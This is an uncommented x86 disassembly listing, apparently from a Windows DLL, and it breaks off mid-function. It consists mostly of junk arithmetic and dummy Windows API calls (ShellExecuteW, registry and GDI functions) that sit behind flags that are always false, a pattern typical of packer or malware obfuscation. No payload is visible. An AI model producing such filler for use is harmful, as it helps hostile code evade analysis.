push 0x1b45
push eax
push 0xb42
push 0x1bcf
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x167e
push 0x1279
push 0x1bac
push 0x1799
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x100316ea
push 2
pop ebx
push 3
pop edx
mov dword [ebp - 0x4c], 0x7e4f
mov dword [ebp - 0x28], 0x5b9b55bb
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jge 0x10031778
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa60], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x10031764
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 6
jne 0x100317f6
mov dword [ebp - 0x2c], 0x20002526
mov dword [ebp - 0x3c], 0xe1879501
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x100317eb
mov dword [ebp - 0x2c], eax
jmp 0x100317e1
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jg 0x100317de
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xa60], 0
jne 0x100317dc
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0xa60]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xa60], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x100317b3
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x100317a4
dec dword [ebp - 0x3c]
jns 0x1003179f
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 6
je 0x10031781
xor eax, eax
mov dword [ebp - 0x50], 0xe1c97412
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x10031820
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xeb0], 0x85f7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031808
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10031840
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc64], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031828
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jg 0x10031867
jmp 0x1003184c
xor eax, eax
mov dword [ebp - 0xc60], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xeb0], 0
jne 0x10031867
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x1003184a
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
neg eax
push 3
sbb eax, eax
xor ecx, ecx
inc eax
cmp ecx, eax
sbb eax, eax
xor ebx, ebx
neg eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x14]
pop ebx
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0x61928c17
setge cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
xor eax, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], 0x840dfe9f
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x100319cc
mov dword [ebp - 0x4c], 0xa05d7627
xor edx, edx
mov dword [ebp - 0x4c], 0x53a38d06
mov eax, dword [ebp - 0x24]
push 9
pop esi
push 3
mov eax, dword [ebp + eax*4 - 0x1e4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x1e4]
sub esi, eax
mov eax, dword [ebp - 0x24]
add esi, dword [ebp + eax*4 - 0x1e4]
imul esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x1e4]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
sub edx, esi
mov eax, dword [ebp + eax*4 - 0x1e4]
cmp edx, eax
setne cl
xor eax, eax
dec ecx
test ecx, ecx
setle al
xor ecx, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x1e4]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1e4]
cmp eax, 0xf7d9
mov eax, 0x4ad3
setg cl
sub eax, ecx
xor ecx, ecx
cmp eax, 0x223dec99
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x1e4]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ebx, ebx
mov eax, dword [ebp + eax*4 - 0x1e4]
cmp edx, eax
mov eax, dword [ebp - 0x1e0]
setg bl
xor ecx, ecx
imul ebx, eax
mov eax, dword [ebp - 0x24]
cmp ebx, eax
pop ebx
setge cl
mov dword [ebp - 0x1c], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x100318e7
xor esi, esi
inc esi
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x100319e8
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1d8]
mov ecx, 0xc3592e7b
mov eax, dword [ebp - 0x24]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1e0]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
or ecx, 0xffffffff
add eax, edx
cmp eax, ecx
jle 0x10031a1f
mov dword [ebp - 0x4c], 0xdcb0c7b2
dec dword [ebp - 0x4c]
xor eax, eax
jmp 0x10031a5f
xor eax, eax
mov dword [ebp - 0x54], 0x1846e972
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x10031a5f
mov dword [ebp - 0x4c], 0x756eb3e1
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1e4]
cmp eax, 0xfffffffa
setge cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x54], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10031a30
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x24], 0x16
cmp dword [ebp - 0x24], 0xffffffeb
je 0x100325e5
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x18], 0xd621ec21
mov dword [ebp - 0x54], 0x12f69a01
mov dword [ebp - 0x2c], 0x4b80cde2
push 4
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x10031aa7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x29c], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031a93
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10031ac3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8ac], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031aaf
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10031d20
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10031aef
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x21c], 0xc0902002
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031ad7
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10031b05
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa84], 0x7f4926a6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031af4
mov eax, dword [ebp - 0x20]
xor edi, edi
cmp dword [ebp + eax*4 - 0x29c], edi
je 0x10031c54
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x29c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x29c]
mov eax, dword [ebp - 0x290]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setge dl
mov ecx, dword [ebp + eax*4 - 0x29c]
mov eax, dword [ebp - 0x20]
imul ecx, edx
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x29c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
add edx, dword [ebp + eax*4 - 0x29c]
xor eax, eax
cmp edx, 0x4f88039d
setge al
cmp ebx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10031c46
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0x4c], 0x1d2a6f9a
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x10031c43
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x29c]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10031bfc
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, dword [ebp - 0x68]
setne dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x29c]
cmp edx, eax
mov eax, dword [ebp - 0x20]
setge cl
imul ecx, dword [ebp + eax*4 - 0x29c]
xor eax, eax
cmp ecx, 0xcbbb
setg al
mov dword [ebp - 0x21c], eax
test eax, eax
jne 0x10031bfc
mov edx, eax
jmp 0x10031bfe
mov edx, esi
mov eax, dword [ebp - 0x20]
push 5
mov ecx, dword [ebp + eax*4 - 0x29c]
xor eax, eax
neg ecx
cmp ecx, edx
mov dword [ebp - 0x8ac], ecx
pop ecx
setle al
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0xc437ffea
sbb eax, eax
neg eax
mov dword [ebp - 0x54], eax
dec dword [ebp - 0x14]
jns 0x10031b9d
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10031b83
jmp 0x10031cde
push 2
pop eax
mov dword [ebp - 0x28], eax
push 0xfffffffffffffff9
pop eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x29c], edi
je 0x10031cc5
mov eax, dword [ebp - 0x28]
mov ecx, 0xffff9311
sub ecx, eax
sub ecx, dword [ebp - 0xa7c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, dword [ebp - 0x28]
jne 0x10031c92
mov edx, esi
cmp dword [ebp - 0x8ac], eax
jne 0x10031c94
mov edx, eax
mov eax, dword [ebp - 0x21c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setne cl
mov eax, dword [ebp + eax*4 - 0x29c]
sub ecx, eax
mov dword [ebp - 0x21c], ecx
mov eax, dword [ebp - 0xa80]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x8ac]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setge dl
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x18], ebx
xor eax, eax
cmp dword [ebp - 0x18], eax
jl 0x10031d11
mov dword [ebp - 0x2c], eax
jmp 0x10031cfe
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xa84], 0xb003ba29
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x10031ced
mov eax, dword [ebp - 0x8ac]
dec dword [ebp - 0x18]
push 0
pop eax
jns 0x10031ce8
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], ebx
jle 0x10031acf
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031d41
push 0x1d79
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov dword [ebp - 0x14], esi
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
push 0xffffffffffffffff
pop ecx
jne 0x10031a70
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x100325e5
xor eax, eax
mov dword [ebp - 0x54], 0xb50bf34f
mov dword [ebp - 0x28], eax
jmp 0x10031d7e
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xec8], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x10031d6d
mov eax, dword [ebp - 0xec0]
mov dword [ebp - 0x54], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031db4
push 0x71a
push 0x23b9
push 0x219e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
xor eax, eax
mov dword [ebp - 0x18], 0x289a
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x4c], 0xaf16de6e
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x28], eax
jmp 0x10031de5
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1088], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10031dd8
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18], 0x2632
test eax, eax
jne 0x10031dff
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x10031e01
mov ecx, esi
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ebx, ebx
cmp edx, esi
setl bl
xor ecx, ecx
cmp eax, ebx
setge cl
xor eax, eax
add ecx, 0xefe0
cmp ecx, 0x196a
jg 0x10031e48
cmp dword [ebp - 0x18], eax
je 0x10031e48
mov eax, esi
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x4c]
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x4c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
cmp eax, 0x3ae5
setg cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x10031e94
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031e8f
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
dec dword [ebp - 0x28]
jns 0x10031e7d
mov dword [ebp - 0x54], 0x4a11600d
mov dword [ebp - 0x54], 0x34e6d4f2
mov dword [ebp - 0x28], eax
push 2
pop ebx
cmp dword [ebp - 0x28], esi
jge 0x10031ec1
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xcc], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x10031ead
xor eax, eax
mov dword [ebp - 0xcc], 0xfffffffb
jmp 0x10031eec
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031ee6
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
inc dword [ebp - 0xcc]
cmp dword [ebp - 0xcc], 0x15
jle 0x10031ecd
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x6c], 0x43c7
mov dword [ebp - 0x1c], 0x13dd33a4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x1c], 0xb
cmp dword [ebp - 0x1c], 0xffffffe5
je 0x10032041
or edi, 0xffffffff
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x4c], 0xe7ccce1c
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], 0xfff6
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x54], 0xa3018177
mov dword [ebp - 0x60], 0xbf567d7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add edx, 0xfffffffe
add edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
cmp ebx, eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0xa73a
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
imul eax, ecx, 0x5a27
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x3c]
jne 0x10031fb9
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10031fbb
mov ecx, esi
jmp 0x10031fbd
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x44]
sub ecx, eax
add ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
push 6
pop ecx
sub ecx, eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x34]
test eax, eax
je 0x10031fef
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10031ff1
mov ecx, esi
jmp 0x10031ff3
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x3c]
add eax, ecx
cmp eax, dword [ebp - 0x54]
jge 0x10032006
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1003200f
jmp 0x10032008
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x10032011
mov ecx, esi
mov eax, dword [ebp - 0x44]
sub ecx, eax
jne 0x10032021
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x10032023
mov ecx, esi
mov eax, dword [ebp - 0x44]
sub ecx, eax
mov dword [ebp - 0x60], ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe5
push 0
pop eax
jne 0x10031f2a
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x54], 0x69bd697e
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032064
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff0
je 0x100320a5
or edi, 0xffffffff
mov dword [ebp - 0x54], edi
xor edx, edx
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
neg ecx
cmp ecx, eax
setg dl
xor eax, eax
imul edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x68]
setne al
mov dword [ebp - 0x54], eax
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff0
jne 0x10032070
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100320c5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb88], 0xaf1124f0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100320ad
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ebx
cmp dword [ebp - 0x1c], ebx
jge 0x100320e4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x734], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100320d0
xor eax, eax
mov dword [ebp - 0x72c], eax
jmp 0x10032127
cmp byte [ebp - 0xd], 0
je 0x1003210a
push esi
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032121
push 0x4d8
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
inc dword [ebp - 0x72c]
cmp dword [ebp - 0x72c], eax
mov byte [ebp - 0xd], al
jle 0x100320ec
cmp byte [ebp - 0xd], 0
je 0x10032142
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x10032162
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x88], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1003214a
xor eax, eax
mov dword [ebp - 0x34], 0x7b18
or ecx, 0xffffffff
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1003218f
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa0c], 0x83066c93
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10032177
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100321a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
imul eax, dword [ebp - 0xa0c], 3
test eax, eax
jne 0x100321cc
cmp dword [ebp - 0x34], eax
je 0x100321c4
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x34]
jle 0x100321cc
cmp dword [ebp - 0xa0c], eax
je 0x100321ce
mov eax, esi
mov ecx, dword [ebp - 0x34]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0xa08]
add ecx, eax
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1003254e
push 2
pop edi
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x28], 0xd7f825e7
mov dword [ebp - 0x28], eax
jmp 0x1003221f
cmp dword [ebp - 0x88], eax
je 0x10032559
xor eax, eax
mov dword [ebp - 0x34], 9
push 3
mov dword [ebp - 0x28], eax
pop ecx
cmp dword [ebp - 0x28], ecx
jge 0x10032611
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x11c0], 0xec2e0cf5
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x100325f9
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032628
push 0x1426
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
xor eax, eax
push 2
pop ebx
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x1003265e
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
jmp 0x10032654
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032651
push 0xe2c
call dword [sym.imp.USER32.dll_GetSysColorBrush]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1003263b
dec dword [ebp - 0x34]
jns 0x10032633
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x25
jne 0x10033c67
mov ebx, 0x6968939f
push 5
pop ecx
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x54], esi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, edx
setge cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], eax
je 0x100326b0
mov eax, esi
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x14
cmp dword [ebp - 0x3c], 0xfffffff1
je 0x100326f6
push 5
pop ecx
mov dword [ebp - 0x54], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100326e8
push 0x9e7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 5
xor eax, eax
pop ecx
cmp dword [ebp - 0x54], eax
jne 0x100326f6
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff1
jne 0x100326c5
mov dword [ebp - 0x28], 0x31a2
mov dword [ebp - 0x20], 0x2ba39464
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], 0x34886255
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x18], 0xe62b5609
mov dword [ebp - 0x60], 0x3f1863d4
push 4
mov dword [ebp - 0x20], eax
pop edx
cmp dword [ebp - 0x20], edx
jge 0x10032746
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x51c], 0xfffffffb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1003272e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10032765
or ecx, 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x33c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10032751
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edx
jge 0x10032785
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x760], 0x8628405c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1003276d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x10032a19
or ebx, 0xffffffff
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x1c], 0x1580eb60
mov dword [ebp - 0x54], 0xc4895d34
mov eax, dword [ebp - 0x20]
push 5
mov eax, dword [ebp + eax*4 - 0x51c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x758], eax
mov edx, dword [ebp - 0x3c]
neg edx
sbb edx, edx
imul eax, eax, 0xfffc
inc edx
xor ecx, ecx
cmp edx, eax
pop eax
setle cl
add ecx, eax
je 0x100327ec
xor eax, eax
cmp dword [ebp - 0x758], eax
je 0x100327ee
mov eax, esi
jmp 0x100327ee
xor eax, eax
xor edx, edx
cmp eax, 0x7e815f84
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x514]
cmp dword [ebp - 0x44], eax
jle 0x10032817
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10032819
mov eax, esi
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x51c]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x51c], ecx
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1003288f
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x33c]
sub edx, eax
mov eax, dword [ebp - 0x44]
cmp edx, eax
setg cl
xor edx, edx
imul ecx, ecx, 0x402
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
